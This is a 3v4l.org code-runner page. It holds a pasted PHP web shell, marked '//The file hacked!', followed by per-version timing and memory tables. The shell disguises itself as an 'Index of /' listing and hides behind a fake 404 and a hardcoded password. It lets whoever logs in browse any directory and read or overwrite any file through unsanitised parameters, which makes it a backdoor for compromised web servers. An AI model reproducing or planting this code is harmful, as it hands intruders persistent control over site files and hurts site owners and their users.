3v4l.org

run code in 300+ PHP versions simultaneously
<?php //The file hacked! ?> <html> <title>Index of /</title> <?php session_start(); define('PASSWORD', 'MosheBenLulu'); header('Content-Type: text/html; charset=utf-8'); if($_GET['page'] == 'get') { if(isset($_SESSION['utf8-52']) && $_SESSION['utf8-52'] == 'indexed') { ?> <form method="post"> <h1>Index of /<?php echo $_GET['dir']; ?><a href="?page=logout" style="color:white;">LOGOUT</a></h1> <ul> <?php if(!isset($_GET['dir'])) { $handle = opendir('.'); $dir = ""; } else { $handle = opendir($_GET['dir']); $dir = $_GET['dir'].'/'; $dd = explode("/", $dir); $dc = 0; $bb = ""; while($dc < count($dd)-2) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo "<li><a href='?page=get'>Parent Directory</a></li>"; } else { echo "<li><a href='?page=get&dir={$bb}'>Parent Directory</a></li>"; } } while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $bl = $dir.$entry; if(is_dir($bl)) { echo "<li><a href='?page=get&dir={$dir}{$entry}'>$entry</a></li>"; } else { echo "<li><a href='?page=set&file={$dir}{$entry}'>$entry</a></li>"; } } } closedir($handle); ?> <ul> </form> <?php } else { ?> <form method="post"> <input type="password" name="password" /> <input type="submit" name="submit" /> </form> <?php if(isset($_POST['submit'])) { $password = $_POST['password']; if($password == PASSWORD) { $_SESSION['utf8-52'] = 'indexed'; echo '<script>top.location="";</script>'; } } } } elseif($_GET['page'] == 'set') { $filename = $_GET['file']; ?> <form method="post"> <textarea name="text" rows="50" cols="100"><?php $handle = fopen($filename, "r+"); if(filesize($filename) == 0) { $contents = fread($handle, 1); } else { $contents = fread($handle, filesize($filename)); } echo($contents); ?></textarea><br /> <input type="submit" name="sub1" value="Save" /> <input type="submit" name="sub2" value="Cancel" /> </form> <?php } elseif($_GET['page'] == 'logout') { $_SESSION['utf8-52'] = ""; echo '<script>alert("Logout!");top.location="?";</script>'; } else { header("HTTP/1.1 404 Not Found"); } if(isset($_POST['sub1'])) { $file_handle = fopen($filename, 'w'); fwrite($file_handle, $_POST['text']); fclose($file_handle); echo '<script>alert("Edited!");top.location="?page=get";</script>'; } if(isset($_POST['sub2'])) { $dd = explode("/", $filename); $dc = 0; $bb = ""; while($dc < count($dd)-1) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo '<script>top.location="?page=get";</script>'; } else { echo '<script>top.location="?page=get&dir='.$bb.'";</script>'; } } ?> </html>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00918.31
8.3.50.0130.00822.11
8.3.40.0120.00318.88
8.3.30.0140.00719.04
8.3.20.0080.00020.24
8.3.10.0090.00021.92
8.3.00.0000.00822.40
8.2.180.0140.00716.50
8.2.170.0150.00622.96
8.2.160.0110.00420.51
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0090.00926.16
8.2.120.0080.00019.14
8.2.110.0030.00620.77
8.2.100.0060.00618.03
8.2.90.0040.00418.34
8.2.80.0000.00818.32
8.2.70.0050.00517.75
8.2.60.0050.00317.75
8.2.50.0000.00817.63
8.2.40.0050.00319.35
8.2.30.0070.00017.78
8.2.20.0000.00717.94
8.2.10.0040.00417.74
8.2.00.0020.00517.79
8.1.280.0170.00325.92
8.1.270.0070.00322.26
8.1.260.0090.00026.35
8.1.250.0040.00428.09
8.1.240.0000.00923.88
8.1.230.0040.00821.07
8.1.220.0000.00817.79
8.1.210.0060.00318.77
8.1.200.0060.00317.48
8.1.190.0040.00417.23
8.1.180.0040.00418.10
8.1.170.0000.00719.07
8.1.160.0000.00718.93
8.1.150.0050.00218.68
8.1.140.0000.00717.41
8.1.130.0070.00017.92
8.1.120.0070.00017.59
8.1.110.0000.00817.52
8.1.100.0050.00217.49
8.1.90.0040.00417.41
8.1.80.0070.00017.54
8.1.70.0000.00717.53
8.1.60.0040.00417.52
8.1.50.0040.00417.53
8.1.40.0000.00917.56
8.1.30.0000.00817.71
8.1.20.0000.00817.61
8.1.10.0000.00817.59
8.1.00.0050.00317.50
8.0.300.0040.00420.11
8.0.290.0000.00916.75
8.0.280.0030.00518.02
8.0.270.0030.00318.06
8.0.260.0030.00317.30
8.0.250.0000.00716.96
8.0.240.0050.00217.08
8.0.230.0040.00417.03
8.0.220.0000.00717.01
8.0.210.0070.00016.91
8.0.200.0000.00817.11
8.0.190.0000.00717.11
8.0.180.0000.00716.98
8.0.170.0050.00316.89
8.0.160.0040.00417.04
8.0.150.0050.00316.92
8.0.140.0000.00716.98
8.0.130.0000.00513.39
8.0.120.0060.00414.29
8.0.110.0040.00514.32
8.0.100.0060.00514.30
8.0.90.0080.00214.30
8.0.80.0070.00514.29
8.0.70.0050.00614.29
8.0.60.0060.00414.20
8.0.50.0050.00514.27
8.0.30.0090.00514.82
8.0.20.0080.00614.98
8.0.10.0080.00314.34
8.0.00.0060.00614.85
7.4.330.0020.00215.00
7.4.320.0030.00316.63
7.4.300.0030.00316.42
7.4.290.0040.00416.68
7.4.280.0030.00316.56
7.4.270.0040.00416.61
7.4.260.0030.00316.64
7.4.250.0070.00314.14
7.4.240.0020.00814.55
7.4.230.0090.00214.13
7.4.220.0090.00514.06
7.4.210.0090.00614.92
7.4.200.0080.00214.12
7.4.190.0080.00314.13
7.4.180.0050.00713.35
7.4.160.0050.00814.21
7.4.150.0090.00514.31
7.4.140.0090.00615.04
7.4.130.0070.00614.63
7.4.120.0040.00914.55
7.4.110.0080.00514.05
7.4.100.0030.01214.10
7.4.90.0060.00714.04
7.4.80.0120.00415.08
7.4.70.0080.00814.48
7.4.60.0080.00814.47
7.4.50.0100.00214.45
7.4.40.0060.00815.70
7.4.30.0080.00614.62
7.4.20.0110.00313.97
7.4.10.0080.00713.97
7.4.00.0080.00714.34
7.3.330.0030.00313.43
7.3.320.0100.00313.34
7.3.310.0080.00314.12
7.3.300.0060.00414.13
7.3.290.0090.00314.11
7.3.280.0100.00514.93
7.3.270.0080.00514.33
7.3.260.0070.00814.16
7.3.250.0080.00614.54
7.3.240.0090.00414.08
7.3.230.0070.00614.19
7.3.220.0060.00513.31
7.3.210.0080.00314.15
7.3.200.0090.00515.15
7.3.190.0070.00714.49
7.3.180.0100.00414.52
7.3.170.0070.00714.48
7.3.160.0090.00414.44
7.3.150.0080.00314.01
7.3.140.0070.00413.94
7.3.130.0090.00313.92
7.3.120.0050.00814.35
7.3.110.0080.00614.18
7.3.100.0060.00514.14
7.3.90.0090.00514.24
7.3.80.0040.00714.18
7.3.70.0070.00614.14
7.3.60.0040.00714.11
7.3.50.0090.00214.15
7.3.40.0060.00514.17
7.3.30.0040.00814.23
7.3.20.0070.00615.52
7.3.10.0070.00615.75
7.3.00.0060.00615.66
7.2.340.0040.00613.17
7.2.330.0040.01014.11
7.2.320.0100.00714.07
7.2.310.0120.00914.65
7.2.300.0090.00614.53
7.2.290.0120.00314.54
7.2.280.0060.00814.02
7.2.270.0100.00514.07
7.2.260.0100.00514.01
7.2.250.0080.00614.18
7.2.240.0050.01014.30
7.2.230.0080.00814.27
7.2.220.0090.00614.27
7.2.210.0070.00614.35
7.2.200.0100.00614.26
7.2.190.0100.00414.32
7.2.180.0100.00414.33
7.2.170.0090.00614.34
7.2.160.0090.00514.17
7.2.150.0140.00315.34
7.2.140.0090.00515.52
7.2.130.0090.00615.90
7.2.120.0090.00515.83
7.2.110.0090.00515.92
7.2.100.0080.00715.70
7.2.90.0120.00415.72
7.2.80.0100.00715.85
7.2.70.0110.00515.84
7.2.60.0070.00615.99
7.2.50.0080.00615.82
7.2.40.0110.00415.79
7.2.30.0100.00415.79
7.2.20.0090.00715.76
7.2.10.0090.00615.79
7.2.00.0070.00715.74
7.1.330.0090.00514.68
7.1.320.0110.00414.75
7.1.310.0070.00714.70
7.1.300.0070.00814.62
7.1.290.0090.00614.82
7.1.280.0110.00414.77
7.1.270.0080.00614.70
7.1.260.0080.00814.71
7.1.250.0130.00314.58
7.1.240.0110.00314.37
7.1.230.0080.00614.47
7.1.220.0110.00514.53
7.1.210.0100.00314.50
7.1.200.0080.00614.73
7.1.190.0110.00414.41
7.1.180.0080.00714.41
7.1.170.0110.00514.49
7.1.160.0150.00514.43
7.1.150.0110.00314.42
7.1.140.0100.00514.45
7.1.130.0110.00314.47
7.1.120.0100.00514.39
7.1.110.0090.00514.42
7.1.100.0080.00814.41
7.1.90.0110.00314.42
7.1.80.0060.00714.47
7.1.70.0080.00614.95
7.1.60.0090.00815.60
7.1.50.0110.00614.89
7.1.40.0080.00714.42
7.1.30.0070.00814.46
7.1.20.0130.00214.37
7.1.10.0130.00314.39
7.1.00.0100.01715.96
7.0.330.0050.00814.18
7.0.320.0130.00214.23
7.0.310.0110.00414.22
7.0.300.0080.00714.30
7.0.290.0100.00414.20
7.0.280.0100.00414.26
7.0.270.0110.00314.27
7.0.260.0090.00414.22
7.0.250.0100.00414.32
7.0.240.0090.00614.40
7.0.230.0080.00614.34
7.0.220.0090.00614.28
7.0.210.0140.00514.32
7.0.200.0080.00514.80
7.0.190.0110.00414.26
7.0.180.0070.00714.30
7.0.170.0100.00614.30
7.0.160.0140.00114.19
7.0.150.0110.00314.25
7.0.140.0080.01815.80
7.0.130.0100.00414.27
7.0.120.0110.00314.29
7.0.110.0090.00614.20
7.0.100.0110.00314.27
7.0.90.0090.00614.11
7.0.80.0080.00714.19
7.0.70.0100.00514.13
7.0.60.0650.01515.40
7.0.50.0100.02014.93
7.0.40.0120.01815.46
7.0.30.0130.01515.41
7.0.20.0140.01715.35
7.0.10.0110.02215.36
7.0.00.0080.02015.35
5.6.400.0060.00813.49
5.6.390.0080.00713.43
5.6.380.0060.00913.60
5.6.370.0090.00513.44
5.6.360.0100.00513.42
5.6.350.0100.00413.54
5.6.340.0100.00513.53
5.6.330.0070.00713.41
5.6.320.0110.00413.60
5.6.310.0100.00513.52
5.6.300.0090.00513.42
5.6.290.0100.00513.55
5.6.280.0090.01815.04
5.6.270.0100.00613.56
5.6.260.0090.00613.48
5.6.250.0130.00513.39
5.6.240.0090.00613.51
5.6.230.0070.00713.47
5.6.220.0070.00713.39
5.6.210.0340.01514.88
5.6.200.0090.02014.50
5.6.190.0120.01314.90
5.6.180.0890.01314.82
5.6.170.0110.01514.85
5.6.160.0100.01314.96
5.6.150.0090.01914.41
5.6.140.0110.01314.49
5.6.130.0100.01914.52
5.6.120.0100.01215.04
5.6.110.0080.01215.01
5.6.100.0080.01314.90
5.6.90.0090.02114.97
5.6.80.0070.01514.94
5.6.70.0070.00713.61
5.6.60.0070.00813.54
5.6.50.0090.00613.36
5.6.40.0080.00513.52
5.6.30.0110.00313.39
5.6.20.0080.00713.48
5.6.10.0060.00913.57
5.6.00.0070.00713.35
5.5.380.0130.00313.53
5.5.370.0070.00713.51
5.5.360.0070.00613.38
5.5.350.0090.02014.74
5.5.340.0090.02114.34
5.5.330.0110.01814.70
5.5.320.0100.01414.75
5.5.310.0110.02114.74
5.5.300.0070.01514.29
5.5.290.0090.01414.20
5.5.280.0080.01614.89
5.5.270.0090.01914.86
5.5.260.0110.01414.96
5.5.250.0120.01314.91
5.5.240.0100.01614.79
5.5.230.0120.00313.40
5.5.220.0080.00713.43
5.5.210.0110.00613.53
5.5.200.0070.00713.40
5.5.190.0090.00513.28
5.5.180.0110.00413.35
5.5.170.0100.00613.44
5.5.160.0040.01113.33
5.5.150.0100.00413.23
5.5.140.0090.00713.21
5.5.130.0080.00613.15
5.5.120.0080.00613.32
5.5.110.0050.00813.25
5.5.100.0120.00213.41
5.5.90.0100.00513.41
5.5.80.0080.00713.46
5.5.70.0090.00613.37
5.5.60.0100.00513.36
5.5.50.0100.00413.37
5.5.40.0080.00613.38
5.5.30.0100.00413.34
5.5.20.0110.00413.39
5.5.10.0100.00313.34
5.5.00.0100.00713.50
5.4.450.0180.01713.87
5.4.440.0180.01613.89
5.4.430.0170.01813.91
5.4.420.0190.01513.93
5.4.410.0210.01313.86
5.4.400.0230.00413.75
5.4.390.0250.00413.77
5.4.380.0140.01313.79
5.4.370.0140.01413.70
5.4.360.0120.01513.68
5.4.350.0130.01413.77
5.4.340.0150.01113.74
5.4.330.0060.00812.54
5.4.320.0070.01312.57
5.4.310.0080.01112.53
5.4.300.0070.01112.50
5.4.290.0060.01312.54
5.4.280.0080.01012.55
5.4.270.0090.01112.51
5.4.260.0070.01913.75
5.4.250.0070.01613.77
5.4.240.0090.01513.86
5.4.230.0110.01213.72
5.4.220.0100.01313.67
5.4.210.0080.01413.69
5.4.200.0080.01813.63
5.4.190.0100.01213.55
5.4.180.0100.01213.61
5.4.170.0100.01213.69
5.4.160.0100.01213.78
5.4.150.0090.01513.74
5.4.140.0100.01313.37
5.4.130.0100.01313.41
5.4.120.0060.01513.26
5.4.110.0090.01413.29
5.4.100.0090.01413.40
5.4.90.0100.01213.36
5.4.80.0100.01413.47
5.4.70.0090.01813.28
5.4.60.0080.01413.38
5.4.50.0060.01513.27
5.4.40.0080.01313.31
5.4.30.0070.01513.32
5.4.20.0050.01813.33
5.4.10.0100.01613.33
5.4.00.0080.01713.06
5.3.290.0090.01113.03
5.3.280.0070.01513.24
5.3.270.0070.01513.41
5.3.260.0090.01413.38
5.3.250.0110.01613.36
5.3.240.0090.01413.17
5.3.230.0080.01713.34
5.3.220.0080.01313.41
5.3.210.0130.01613.27
5.3.200.0080.01413.38
5.3.190.0080.01513.34
5.3.180.0070.01613.40
5.3.170.0090.01613.48
5.3.160.0090.01413.43
5.3.150.0070.01513.43
5.3.140.0100.01313.46
5.3.130.0130.01113.31
5.3.120.0080.01413.38
5.3.110.0080.01613.38
5.3.100.0090.01813.26
5.3.90.0080.01513.20
5.3.80.0060.01613.20
5.3.70.0050.01713.07
5.3.60.0050.01613.06
5.3.50.0130.01313.22
5.3.40.0070.01613.23
5.3.30.0070.01513.13
5.3.20.0070.01512.95
5.3.10.0060.02012.98
5.3.00.0090.01812.80
5.2.170.0090.01111.87
5.2.160.0030.01411.82
5.2.150.0020.01611.89
5.2.140.0060.01611.74
5.2.130.0060.01511.81
5.2.120.0050.01411.79
5.2.110.0080.01011.86
5.2.100.0070.01211.89
5.2.90.0050.01311.88
5.2.80.0090.01311.74
5.2.70.0060.01311.79
5.2.60.0080.01111.60
5.2.50.0040.01511.77
5.2.40.0060.01511.72
5.2.30.0080.01411.74
5.2.20.0080.01011.63
5.2.10.0040.01511.61
5.2.00.0070.01411.50
5.1.60.0070.01210.93
5.1.50.0040.01110.92
5.1.40.0060.01011.00
5.1.30.0070.01111.14
5.1.20.0070.01111.23
5.1.10.0080.00811.08
5.1.00.0040.01210.99
5.0.50.0070.00710.41
5.0.40.0060.00910.29
5.0.30.0050.01410.29
5.0.20.0030.00910.30
5.0.10.0060.00710.33
5.0.00.0060.00910.29
4.4.90.0050.0069.99
4.4.80.0030.0059.99
4.4.70.0030.0079.99
4.4.60.0020.0079.99
4.4.50.0040.0069.99
4.4.40.0020.0099.99
4.4.30.0030.0059.99
4.4.20.0030.0069.99
4.4.10.0030.0059.99
4.4.00.0030.0079.99
4.3.110.0030.0059.99
4.3.100.0030.0069.99
4.3.90.0020.0089.99
4.3.80.0030.0089.99
4.3.70.0030.0069.99
4.3.60.0030.0059.99
4.3.50.0040.0049.99
4.3.40.0040.0079.99
4.3.30.0040.0059.99
4.3.20.0030.0059.99
4.3.10.0010.0089.99
4.3.00.0040.00510.12

preferences:
61.59 ms | 400 KiB | 5 Q